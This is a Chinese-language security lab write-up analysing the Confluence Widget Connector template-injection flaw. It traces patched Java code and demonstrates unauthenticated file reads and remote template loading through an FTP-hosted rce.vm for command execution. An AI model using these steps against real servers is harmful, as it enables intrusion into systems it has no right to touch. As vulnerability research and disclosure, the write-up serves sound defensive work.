作者:Badcode@知道創宇404實驗室
時間:2019年4月8日
原文鏈接:https://paper.seebug.org/884/
看到官方發布了預警,於是開始了漏洞應急。漏洞描述中指出Confluence Server與Confluence Data Center中的Widget Connector存在服務端模板注入漏洞,攻擊者能利用此漏洞能夠實現目錄穿越與遠程代碼執行。
確認漏洞點是Widget Connector,下載最新版的比對補丁,發現在
comatlassianconfluenceextrawidgetconnectorWidgetMacro.java
裡面多了一個過濾,這個應該就是這個漏洞最關鍵的地方。
可以看到
this.sanitizeFields = Collections.unmodifiableList(Arrays.asList(VelocityRenderService.TEMPLATE_PARAM));
而TEMPLATE_PARAM的值就是_template,所以這個補丁就是過濾了外部傳入的_template參數。
TEMPLATE_PARAM
_template
public interface VelocityRenderService { public static final String WIDTH_PARAM = "width"; public static final String HEIGHT_PARAM = "height"; public static final String TEMPLATE_PARAM = "_template";
翻了一下Widget Connector裡面的文件,發現TEMPLATE_PARAM就是模板文件的路徑。
public class FriendFeedRenderer implements WidgetRenderer { private static final String MATCH_URL = "friendfeed.com"; private static final String PATTERN = "friendfeed.com/(\w+)/?"; private static final String VELOCITY_TEMPLATE = "com/atlassian/confluence/extra/widgetconnector/templates/simplejscript.vm"; private VelocityRenderService velocityRenderService; ...... public String getEmbeddedHtml(String url, Map<String, String> params) { params.put(VelocityRenderService.TEMPLATE_PARAM, VELOCITY_TEMPLATE); return velocityRenderService.render(getEmbedUrl(url), params); }
載入外部的鏈接時,會調用相對的模板去渲染,如上,模板的路徑一般是寫死的,但是也有例外,補丁的作用也說明有人突破了限制,調用了意料之外的模板,從而造成了模板注入。
在了解了補丁和有了一些大概的猜測之後,開始嘗試。
首先先找到這個功能,翻了一下官方的文檔,找到了這個功能,可以在文檔中嵌入一些視頻,文檔之類的。
看到這個,有點激動了,因為在翻補丁的過程中,發現了幾個參數,url,width,height正好對應著這裡,那_template是不是也從這裡傳遞進去的?
url
width
height
隨便找個Youtube視頻插入試試,點擊預覽,抓包。
在params中嘗試插入_template參數,好吧,沒啥反應。。
params
開始debug模式,因為測試插入的是Youtube視頻,所以調用的是
com/atlassian/confluence/extra/widgetconnector/video/YoutubeRenderer.class
public class YoutubeRenderer implements WidgetRenderer, WidgetImagePlaceholder { private static final Pattern YOUTUBE_URL_PATTERN = Pattern.compile("https?://(.+\.)?youtube.com.*(\?v=([^&]+)).*$"); private final PlaceholderService placeholderService; private final String DEFAULT_YOUTUBE_TEMPLATE = "com/atlassian/confluence/extra/widgetconnector/templates/youtube.vm"; ......
public String getEmbedUrl(String url) { Matcher youtubeUrlMatcher = YOUTUBE_URL_PATTERN.matcher(this.verifyEmbeddedPlayerString(url)); return youtubeUrlMatcher.matches() ? String.format("//www.youtube.com/embed/%s?wmode=opaque", youtubeUrlMatcher.group(3)) : null; }
public boolean matches(String url) { return YOUTUBE_URL_PATTERN.matcher(this.verifyEmbeddedPlayerString(url)).matches(); }
private String verifyEmbeddedPlayerString(String url) { return !url.contains("feature=player_embedded&") ? url : url.replace("feature=player_embedded&", ""); }
public String getEmbeddedHtml(String url, Map<String, String> params) { return this.velocityRenderService.render(this.getEmbedUrl(url), this.setDefaultParam(params)); }
在getEmbeddedHtml下斷點,先會調用getEmbedUrl對用戶傳入的url進行正則匹配,因為我們傳入的是個正常的Youtube視頻,所以這裡是沒有問題的,然後調用setDefaultParam函數對傳入的其他參數進行處理。
getEmbeddedHtml
getEmbedUrl
setDefaultParam
private Map<String, String> setDefaultParam(Map<String, String> params) { String width = (String)params.get("width"); String height = (String)params.get("height"); if (!params.containsKey("_template")) { params.put("_template", "com/atlassian/confluence/extra/widgetconnector/templates/youtube.vm"); }
if (StringUtils.isEmpty(width)) { params.put("width", "400px"); } else if (StringUtils.isNumeric(width)) { params.put("width", width.concat("px")); }
if (StringUtils.isEmpty(height)) { params.put("height", "300px"); } else if (StringUtils.isNumeric(height)) { params.put("height", height.concat("px")); }
return params; }
取出width和height來判斷是否為空,為空則設置默認值。關鍵的_template參數來了,如果外部傳入的參數沒有_template,則設置默認的Youtube模板。如果傳入了,就使用傳入的,也就是說,aaaa是成功的傳進來了。
大概翻了一下Widget Connector裡面的Renderer,大部分是不能設置_template的,是直接寫死了,也有一些例外,如Youtube,Viddler,DailyMotion等,是可以從外部傳入_template的。
能傳遞_template了,接下來看下是如何取模板和渲染模板的。
跟進this.velocityRenderService.render,也就是com/atlassian/confluence/extra/widgetconnector/services/DefaultVelocityRenderService.class裡面的render方法。
this.velocityRenderService.render
com/atlassian/confluence/extra/widgetconnector/services/DefaultVelocityRenderService.class
render
public String render(String url, Map<String, String> params) { String width = (String)params.get("width"); String height = (String)params.get("height"); String template = (String)params.get("_template"); if (StringUtils.isEmpty(template)) { template = "com/atlassian/confluence/extra/widgetconnector/templates/embed.vm"; }
if (StringUtils.isEmpty(url)) { return null; } else { Map<String, Object> contextMap = this.getDefaultVelocityContext(); Iterator var7 = params.entrySet().iterator();
while(var7.hasNext()) { Entry<String, String> entry = (Entry)var7.next(); if (((String)entry.getKey()).contentEquals("tweetHtml")) { contextMap.put(entry.getKey(), entry.getValue()); } else { contextMap.put(entry.getKey(), GeneralUtil.htmlEncode((String)entry.getValue())); } }
contextMap.put("urlHtml", GeneralUtil.htmlEncode(url)); if (StringUtils.isNotEmpty(width)) { contextMap.put("width", GeneralUtil.htmlEncode(width)); } else { contextMap.put("width", "400"); }
if (StringUtils.isNotEmpty(height)) { contextMap.put("height", GeneralUtil.htmlEncode(height)); } else { contextMap.put("height", "300"); }
return this.getRenderedTemplate(template, contextMap); } }
_template取出來賦值給template,其他傳遞進來的參數取出來經過判斷之後放入到contextMap,調用getRenderedTemplate函數,也就是調用VelocityUtils.getRenderedTemplate。
template
contextMap
getRenderedTemplate
VelocityUtils.getRenderedTemplate
protected String getRenderedTemplate(String template, Map<String, Object> contextMap){ return VelocityUtils.getRenderedTemplate(template, contextMap); }
一路調用,調用鏈如下圖,最後來到/com/atlassian/confluence/util/velocity/ConfigurableResourceManager.class的loadResource函數,來獲取模板。
/com/atlassian/confluence/util/velocity/ConfigurableResourceManager.class
loadResource
這裡調用了4個ResourceLoader去取模板。
ResourceLoader
com.atlassian.confluence.setup.velocity.HibernateResourceLoader org.apache.velocity.runtime.resource.loader.FileResourceLoader org.apache.velocity.runtime.resource.loader.ClasspathResourceLoader com.atlassian.confluence.setup.velocity.DynamicPluginResourceLoader
這裡主要看下Velocity自帶的FileResourceLoader和ClasspathResourceLoader
FileResourceLoader
ClasspathResourceLoader
FileResourceLoader會對用戶傳入的模板路徑使用normalizePath函數進行校驗
normalizePath
可以看到,過濾了/../,這樣就導致沒有辦法跳目錄了。
/../
路徑過濾後調用findTemplate查找模板,可看到,會拼接一個固定的path,這是Confluence的安裝路徑。
findTemplate
path
也就是說現在可以利用FileResourceLoader來讀取Confluence目錄下面的文件了。
嘗試讀取/WEB-INF/web.xml文件,可以看到,是成功的載入到了該文件。
/WEB-INF/web.xml
但是這個無法跳出Confluence的目錄,因為不能用/../。
再來看下ClasspathResourceLoader
public InputStream getResourceStream(String name) throws ResourceNotFoundException { InputStream result = null; if (StringUtils.isEmpty(name)) { throw new ResourceNotFoundException("No template name provided"); } else { try { result = ClassUtils.getResourceAsStream(this.getClass(), name); ...... }
跟進ClassUtils.getResourceAsStream
ClassUtils.getResourceAsStream
public static InputStream getResourceAsStream(Class claz, String name) { while(name.startsWith("/")) { name = name.substring(1); }
ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); InputStream result; if (classLoader == null) { classLoader = claz.getClassLoader(); result = classLoader.getResourceAsStream(name); } else { result = classLoader.getResourceAsStream(name); if (result == null) { classLoader = claz.getClassLoader(); if (classLoader != null) { result = classLoader.getResourceAsStream(name); } } }
return result; }
會跳到/org/apache/catalina/loader/WebappClassLoaderBase.class
/org/apache/catalina/loader/WebappClassLoaderBase.class
跟進,發現會拼接/WEB-INF/classes,而且其中也是調用了normalize對傳入的路徑進行過濾。
/WEB-INF/classes
normalize
這裡還是可以用../跳一級目錄。
../
嘗試讀取一下../web.xml,可以看到,也是可以讀取成功的,但是仍然無法跳出目錄。
../web.xml
我這裡測試用的版本是6.14.1,而後嘗試了file://,http://,https://都沒有成功。後來我嘗試把Cookie刪掉,發現還是可以讀取文件,確認了這個漏洞不需要許可權,但是跳不出目錄。應急就在這裡卡住了。
6.14.1
file://
http://
https://
而後的幾天,有大佬說用file://協議可以跳出目錄限制,我驚了,我確定當時是已經試過了,沒有成功的。看了大佬的截圖,發現用的是6.9.0的版本,我下載了,嘗試了一下,發現真的可以。
問題還是在ClasspathResourceLoader上面,步驟和之前的是一樣的,斷到/org/apache/catalina/loader/WebappClassLoaderBase.class的getResourceAsStream方法
getResourceAsStream
前面拼接/WEB-INF/classes獲取失敗後,繼續往下進行。
跟進findResource,函數前面仍然獲取失敗
findResource
關鍵的地方就在這裡,會調用super.findResource(name),這裡返回了URL,也就是能獲取到對象。
super.findResource(name)
不僅如此,這裡還可以使用其他協議(https,ftp等)獲取遠程的對象,意味著可以載入遠程的對象。
獲取到URL對象之後,繼續回到之前的getResourceAsStream,可以看到,當返回的url不為null時,會調用url.openStream()獲取數據。
url.openStream()
最終獲取到數據給Velocity渲染。
嘗試一下
至於6.14.1為啥不行,趕著應急,後續會跟,如果有新的發現,會同步上來,目前只看到ClassLoader不一樣。
ClassLoader
6.9.0
這兩個loader的關係如下
現在可以載入本地和遠程模板了,可以嘗試進行RCE。
關於Velocity的RCE,基本上payload都來源於15年blackhat的服務端模板注入的議題,但是在Confluence上用不了,因為在調用方法的時候會經過velocity-htmlsafe-1.5.1.jar,裡面多了一些過濾和限制。但是仍然可以利用反射來執行命令。
velocity-htmlsafe-1.5.1.jar
用python -m pyftpdlib -p 2121開啟一個簡單的ftp伺服器,將payload保存成rce.vm,保存在當前目錄。
python -m pyftpdlib -p 2121
將_template設置成ftp://localhost:2121/rce.vm,發送,成功執行命令。
ftp://localhost:2121/rce.vm
對於命令回顯,同樣可以使用反射構造出payload,執行ipconfig的結果。
ipconfig
根據 ZoomEye 網路空間搜索引擎對關鍵字 "X-Confluence" 進行搜索,共得到 61,856 條結果,主要分布美國、德國、中國等國家。
全球分布(非漏洞影響範圍)
中國分布(非漏洞影響範圍)
2019年4月4日,404實驗室公布了該漏洞的檢測PoC,可以利用這個PoC檢測Confluence是否受該漏洞影響。
本文由 Seebug Paper 發布,如需轉載請註明來源。
歡迎關注我和專欄,我將定期搬運技術文章~
也歡迎訪問我們:知道創宇雲安全